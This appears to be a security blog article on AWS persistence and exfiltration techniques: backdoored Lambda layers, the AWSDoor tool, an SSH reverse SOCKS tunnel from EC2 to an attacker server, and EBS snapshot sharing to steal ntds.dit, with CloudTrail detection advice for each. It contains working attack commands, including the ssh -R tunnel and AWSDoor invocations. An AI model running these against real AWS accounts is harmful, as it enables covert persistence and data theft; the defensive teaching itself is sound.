<p style="text-align: justify;">In AWS, <strong>it&#8217;s common to attach IAM roles to resources like</strong> <strong>Lambda functions, EC2 instances</strong>, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.</p>
<p style="text-align: justify;">From an attacker&#8217;s point of view, <strong>this setup can be useful for persistence</strong>. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.</p>
<p style="text-align: justify;">This <strong>means the attacker doesn’t need to create new credentials or modify IAM directly</strong>. As long as they maintain access to the resource, they can continue using the role’s permissions, which makes this method both effective and harder to detect.</p>
<p> </p>
<h4>Lambda</h4>
<p style="text-align: justify;"><strong>AWS Lambda functions have become a popular choice for running code</strong> in the cloud without having to manage servers. They allow developers and organizations to automate tasks, respond to events, and build scalable applications that run only when needed. For example, Lambda can process files uploaded to S3, handle API requests, or automatically react to changes in a database.</p>
<p style="text-align: justify;">For example, in order to manage the account administrators, it is possible to create a <strong>Lambda function that adds privileges to a user when he is added to a DynamoDB database</strong>: the modification of the DynamoDB trigger the lambda code and makes it change the user privilege according to the change in the database.</p>
<p style="text-align: justify;">Therefore, <strong>it is not usual to associate an IAM identity to a lambda.</strong></p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Over-privileged role</span></h5>
<p style="text-align: justify;">A way to get persistence on an AWS account is to either<strong> associate an overprivileged IAM identity</strong> to an existing lambda or modify the code of an already existing over-privileged lambda.</p>
<p style="text-align: justify;">For example, the attacker can:</p>
<ul style="text-align: justify;">
<li>Create a lambda function</li>
<li>Associate an IAM privileged role (using the NotAction trick for example)</li>
<li>Add a python code allowing either execute arbitrary code or extract the lambda temporary credentials</li>
<li>Expose the lambda directory on Internet through an API Gateway or a Lambda Function</li>
</ul>
<p style="text-align: justify;">The following <strong>figure summarizes the persistence deployment:</strong></p>
<p> </p>
<figure id="attachment_27398" aria-describedby="caption-attachment-27398" style="width: 708px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27398" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-234x191.png" alt="Lambda persistence deployment" width="708" height="578" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-768x627.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1.png 1142w" sizes="auto, (max-width: 708px) 100vw, 708px" /><figcaption id="caption-attachment-27398" class="wp-caption-text"><em>Lambda persistence deployment</em></figcaption></figure>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Lambda layers</span></h5>
<p style="text-align: justify;">The Lambda <strong>persistence technique described above is effective, but it has a major drawback</strong>: the malicious <strong>code is easy to spot</strong>. If someone modifies the main business logic of the function or reviews the source during an investigation, the backdoor will likely be discovered and removed.</p>
<p style="text-align: justify;">A more subtle approach <strong>is to hide the malicious payload in a Lambda layer</strong> rather than in the function code itself.</p>
<p style="text-align: justify;">A Lambda layer is a way to <strong>distribute shared dependencies such as libraries or custom runtimes</strong>. Instead of embedding these directly into the function, you can upload them separately and attach them to one or more Lambda functions. This keeps the deployment package lighter and makes it easier to reuse code across projects. Layers are commonly used to include tools like requests or AWS SDKs (boto3) across multiple functions.</p>
<p style="text-align: justify;">From AWS’s perspective, <strong>the layer is attached to the function, but its contents are not displayed directly in the console.</strong></p>
<p style="text-align: justify;">As shown in the screenshot below, AWS only displays the presence of the layer, and to inspect it, a user has to manually browse to the Lambda Layers panel and download it as a ZIP file.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27400 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-437x167.png" alt="Lambda layer not clearly visible in the panel" width="835" height="319" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-437x167.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-768x294.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-1536x587.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1.png 1611w" sizes="auto, (max-width: 835px) 100vw, 835px" /></p>
<p><img loading="lazy" decoding="async" class="wp-image-27402 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-437x44.png" alt="List of layers associated to a lambda" width="1371" height="138" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-437x44.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-768x78.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-1536x155.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1.png 1634w" sizes="auto, (max-width: 1371px) 100vw, 1371px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>The use of a layer is displayed</strong> (and can be easily missed) but in order to download the code, the <strong>user needs to go on a specific Lambda Layer panel</strong> and download (not display) it in Zip format:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27404 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-437x151.png" alt="The content of the layer is not displayed, it is only possible to download the layer" width="1013" height="350" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-768x265.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-1536x531.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1.png 1704w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></p>
<p> </p>
<p style="text-align: justify;">These extra <strong>steps can make defenders less likely to review the layer’s content</strong> during the initial triage.</p>
<p style="text-align: justify;">An attacker can take advantage of this by creating a layer that contains a poisoned version of a standard library, such as requests. By overriding an internal function with malicious behavior, the attacker gains remote code execution each time the function is used.</p>
<p style="text-align: justify;">For example, after downloading the requests package using pip:</p>
<p> </p>
<pre style="text-align: justify;">pip install -t python requests</pre>
<p> </p>
<p style="text-align: justify;">The attacker <strong>modifies the get() function to execute arbitrary commands</strong>:</p>
<p> </p>
<figure id="attachment_27406" aria-describedby="caption-attachment-27406" style="width: 932px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27406" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-287x191.png" alt="Poisonning of requests.get function" width="932" height="620" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-287x191.png 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-59x39.png 59w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-768x512.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1.png 1449w" sizes="auto, (max-width: 932px) 100vw, 932px" /><figcaption id="caption-attachment-27406" class="wp-caption-text"><em>Poisonning of requests.get function</em></figcaption></figure>
<p> </p>
<p>Then, <strong>the package is zipped and deployed as a layer</strong>, which is attached to the target function:</p>
<p> </p>
<figure id="attachment_27408" aria-describedby="caption-attachment-27408" style="width: 647px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27408" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="The layers is attached to the lambda function" width="647" height="259" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1.png 1003w" sizes="auto, (max-width: 647px) 100vw, 647px" /><figcaption id="caption-attachment-27408" class="wp-caption-text"><em>The layers is attached to the lambda function</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Finally,<strong> the Lambda source code is updated to use the poisoned library</strong>, which may appear harmless at first glance:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27410 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-437x126.png" alt="Code seemingly harmless, calling the poisoned get() function" width="864" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-768x221.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1.png 1235w" sizes="auto, (max-width: 864px) 100vw, 864px" /></p>
<p> </p>
<p style="text-align: justify;">What <strong>looks like a legitimate HTTP request is now a trigger for hidden malicious behavior</strong>. Unless the defender inspects the actual content of the attached layer, this backdoor may remain undetected.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<pre><br /><br />python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l<br />[+] The following trust policy will be created :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "Service": "lambda.amazonaws.com"<br />      },<br />      "Action": "sts:AssumeRole"<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Layer created<br />[+] Created lambda function lambda_test2<br />[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/</pre>
<p> </p>
<p style="text-align: justify;">A few additional parameter can be used:</p>
<ul style="text-align: justify;">
<li><strong>-l : use a lambda layer</strong>, otherwise include the malicious code directly in the lambda</li>
<li><strong>-g: use a gateway api</strong>, otherwise, use a FunctionURL</li>
</ul>
<p style="text-align: justify;"><strong>The GatewayAPI is a cleaner way to expose a lambda on Internet</strong>, however, it is possible to easily spot that the lambda can be reached from the Internet as it is displayed as a trigger:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27413 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-373x191.png" alt="API Gateway is visible as a trigger" width="635" height="325" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-768x393.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1.png 1372w" sizes="auto, (max-width: 635px) 100vw, 635px" /></p>
<p> </p>
<p style="text-align: justify;">The payload deployed by default takes a python code passed as the get parameter cmd, execute it and output the data stored in the result variable:</p>
<p> </p>
<pre style="text-align: justify;">curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` <br />&gt;&gt; {result: “Hello World”}</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>Lambda layers are often overlooked during incident response</strong>, especially when only the function code is reviewed. Since layers are not displayed inline in the Lambda console and must be downloaded manually as ZIP archives, <strong>malicious content can easily go unnoticed</strong>. This makes layers an attractive location for attackers to hide backdoors or poisoned dependencies.</p>
<p style="text-align: justify;">The <strong>following detection and mitigation strategies can help security teams</strong> identify and respond to suspicious use of Lambda layers:</p>
<ul>
<li style="text-align: justify;"><strong>Audit Lambda Layer Attachments</strong>: The UpdateFunctionConfiguration event is recorded by CloudTrail when a new layer is attached to a Lambda function. It is then possible to track unusual changes or associations between unrelated teams or projects.</li>
<li style="text-align: justify;"><strong>Restrict layer update to CICD workflow</strong>: Prevent any layer modification but from the CICD pipeline, by whitelisting the roles allowed to do it. Focus detection and threat hunting effort on misusage / update of this role.</li>
<li style="text-align: justify;"><strong>Validate lambda exposed directly on the internet</strong>: Exposing lambda on the Internet can be a sign of persitence deployment. Any usual configuration modification implying the exposition of such resource on the internet must be investigated</li>
</ul>
<p> </p>
<figure id="attachment_27416" aria-describedby="caption-attachment-27416" style="width: 830px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27416" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-365x191.png" alt="Event raised when creating an APIGateway" width="830" height="434" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-365x191.png 365w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1.png 1395w" sizes="auto, (max-width: 830px) 100vw, 830px" /><figcaption id="caption-attachment-27416" class="wp-caption-text"><em>Event raised when creating an APIGateway</em></figcaption></figure>
<p> </p>
<figure id="attachment_27418" aria-describedby="caption-attachment-27418" style="width: 825px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27418" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-398x191.png" alt="Event raised when associating an URL to a Lambda" width="825" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-398x191.png 398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-768x369.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-1536x738.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1.png 1599w" sizes="auto, (max-width: 825px) 100vw, 825px" /><figcaption id="caption-attachment-27418" class="wp-caption-text"><em>Event raised when associating an URL to a Lambda</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While <strong>layers are a powerful and useful feature, they represent a blind spot in many AWS security</strong> monitoring setups.</p>
<p> </p>
<h4 style="text-align: justify;">EC2</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Socks</span></h5>
<p style="text-align: justify;">AWS Systems Manager (SSM)<strong> provides a powerful and flexible way to manage and interact with EC2 instances</strong> without requiring direct network access such as SSH or RDP. At its core, SSM enables remote management by using an agent installed on the instance, which communicates securely with the Systems Manager service. Through this channel, <strong>administrators can execute commands, run scripts, or open interactive shell sessions on instances</strong>, all without exposing them to the public internet or managing bastion hosts.</p>
<p style="text-align: justify;">One of the main advantages of <strong>SSM is that it reduces the attack surface by limiting the exposed services</strong>. Since communication is initiated from the instance itself, which reaches out to the SSM service endpoints, the approach works even in secured network environment where inbound access is restricted.</p>
<p style="text-align: justify;">From a security perspective, <strong>while SSM reduces exposure, it also introduces new risks</strong>. For example, if an attacker compromises an identity with permission to start SSM sessions or send commands, they can gain remote code execution on the instance without needing any network foothold.</p>
<p style="text-align: justify;">An attacker with <strong>access to the AWS account can leverage SSM capabilities to compromise an EC2 instance</strong> and use it as a network pivot. One common approach is to deploy an SSH reverse SOCKS proxy. Using SSM, the attacker can execute commands on the EC2 instance to deploy an SSH key, then run a command to expose the EC2’s SSH port back to their own server:</p>
<p> </p>
<pre style="text-align: justify;">ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f</pre>
<p> </p>
<p style="text-align: justify;">Then, the attacker, from his server, can open an SSH socks with the following command:</p>
<p> </p>
<pre style="text-align: justify;">ssh -D 4444 ssm-user@127.0.0.1:2222</pre>
<p> </p>
<p style="text-align: justify;">This allows the attacker to <strong>tunnel traffic through the compromised EC2</strong>, using it as a foothold inside the network.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Snapshot exfiltration</span></h5>
<p style="text-align: justify;">While not a persistence mechanism, <strong>snapshot exfiltration is a powerful technique for data exfiltration</strong> in AWS environments. It takes advantage of the ability to share Elastic Block Store (EBS) snapshots across AWS accounts. While this feature is intended for backup or collaboration, it can be leveraged for massive data exfiltration.</p>
<p style="text-align: justify;">An attacker <strong>with sufficient permissions in a compromised AWS account can create a snapshot of an EBS volume</strong>, then share it with an external account they control.</p>
<p> </p>
<figure id="attachment_27420" aria-describedby="caption-attachment-27420" style="width: 880px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27420" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-320x191.png" alt="Snapshot shared" width="880" height="525" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-320x191.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-768x459.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1.png 1186w" sizes="auto, (max-width: 880px) 100vw, 880px" /><figcaption id="caption-attachment-27420" class="wp-caption-text"><em>Snapshot shared</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">From that external AWS Account,<strong> the snapshot can be mounted, copied, and inspected</strong> giving the attacker full access to the underlying disk data without ever downloading anything from the target environment directly.</p>
<p style="text-align: justify;">This method is <strong>particularly dangerous when applied to sensitive infrastructure</strong>. For example, if a domain controller is virtualized in AWS, an attacker can take a snapshot of its volume, share it with his own <strong>AWS Account and extract sensitive files like ntds.dit.</strong></p>
<p> </p>
<figure id="attachment_27422" aria-describedby="caption-attachment-27422" style="width: 773px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class=" wp-image-27422" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-244x191.png" alt="Extraction of NTDS.DIT through AWS Snapshot" width="773" height="605" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-244x191.png 244w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-768x602.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1.png 1018w" sizes="auto, (max-width: 773px) 100vw, 773px" /><figcaption id="caption-attachment-27422" class="wp-caption-text"><em>Extraction of NTDS.DIT through AWS Snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">All of this can <strong>happen without needing to interact with the instance over the network</strong>, by passing any security tools deployed on the internal network.</p>
<p style="text-align: justify;">This is a low-noise, high-impact data exfiltration technique that abuses AWS-native capabilities that goes unnoticed if specific controls aren’t in place.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">These <strong>two techniques are implemented on AWSDoor</strong>. The following commands can be used to export a specific EC2 instance:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   <br />   <br />[-] The following volumes will be snapshoted and shared with 503561426720:                                       <br />        - vol-09ce1bf602374a743<br />[+] Do you want to apply this change? (yes/no): yes<br />[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743<br />[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720</pre>
<p> </p>
<p style="text-align: justify;">Likewise, the SSH socks action can be automated:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd<br /><br />[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da<br />[-] Waiting 10 seconds for execution<br />[+] Status: Success</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection</span></h5>
<p style="text-align: justify;">For the snapshot part, <strong>CloudTrail logs several events</strong>:</p>
<ul>
<li style="text-align: justify;"><strong>CreateSnapshot</strong> logged when a snapshot is created. This is a routine operation in most environments with backup policies, so it&#8217;s not inherently suspicious. However, it&#8217;s easy for attackers to blend into the noise by mimicking standard backup activity.</li>
<li style="text-align: justify;"><strong>ModifySnapshotAttribute</strong> when the snapshot is shared: while modifying a snapshot attribute is not unusual, a simple analysis of the content shows that the snapshot has been shared to a remote account:</li>
</ul>
<p> </p>
<figure id="attachment_27425" aria-describedby="caption-attachment-27425" style="width: 836px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27425" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-186x191.png" alt="Event rised when sharing a snapshot" width="836" height="858" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-186x191.png 186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-38x39.png 38w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1.png 927w" sizes="auto, (max-width: 836px) 100vw, 836px" /><figcaption id="caption-attachment-27425" class="wp-caption-text"><em>Event rised when sharing a snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Therefore, it is possible to limit this type of exploit by monitoring the ModifySnapshotAttribute and ensure that the userId set is in the range of the accounts linked to the organization.</p>
<p style="text-align: justify;">Likewise, some security by obscurity method would be to add specific tags when Snapshot are performed for backup purpose and <strong>raise an alert when a snapshot is created without the appropriate tag</strong>. The tag can for example be a hash of the creation time seeded by a secret only known by the backup tool:</p>
<p> </p>
<pre style="text-align: justify;">BackupTag=HMAC(creation_time, secret)</pre>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">For the reverse socks exploitation, <strong>it depends on the way the SSM access is performed</strong>:</p>
<ul>
<li style="text-align: justify;"><strong>From the AWS GUI</strong>: a StartSession event is logged on CloudTrails when the attacker starts the remote connection to the machine. The log contains the attacker IP address as well as the EC2 id targeted.</li>
</ul>
<p> </p>
<figure id="attachment_27427" aria-describedby="caption-attachment-27427" style="width: 853px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27427" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-437x145.png" alt="Event raised during SSM connection" width="853" height="283" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-768x254.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1.png 1291w" sizes="auto, (max-width: 853px) 100vw, 853px" /><figcaption id="caption-attachment-27427" class="wp-caption-text"><em>Event raised during SSM connection</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>From the AWS CLI or AWSDoor</strong>, the StartSession event is not raised but the GetCommandInvocation is logged instead:</li>
</ul>
<p> </p>
<figure id="attachment_27430" aria-describedby="caption-attachment-27430" style="width: 890px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27430" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-437x168.png" alt="Event raised during SSM command invocation" width="890" height="342" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-768x295.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1.png 1264w" sizes="auto, (max-width: 890px) 100vw, 890px" /><figcaption id="caption-attachment-27430" class="wp-caption-text"><em>Event raised during SSM command invocation</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, whatever the technique used, CloudTrails does not log the full commandline sent. Therefore, it is still interesting and important to add a EDR solution directly on the computing ressources.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Defense impairment</h2>
<p style="text-align: justify;">Defense impairment refers to any <strong>deliberate action taken by an attacker to weaken, disable, or bypass the security monitoring and detection</strong> capabilities of a target environment. In AWS, this typically involves tampering with logging configurations, disabling security services, or altering alerting mechanisms to avoid detection during or after an attack.</p>
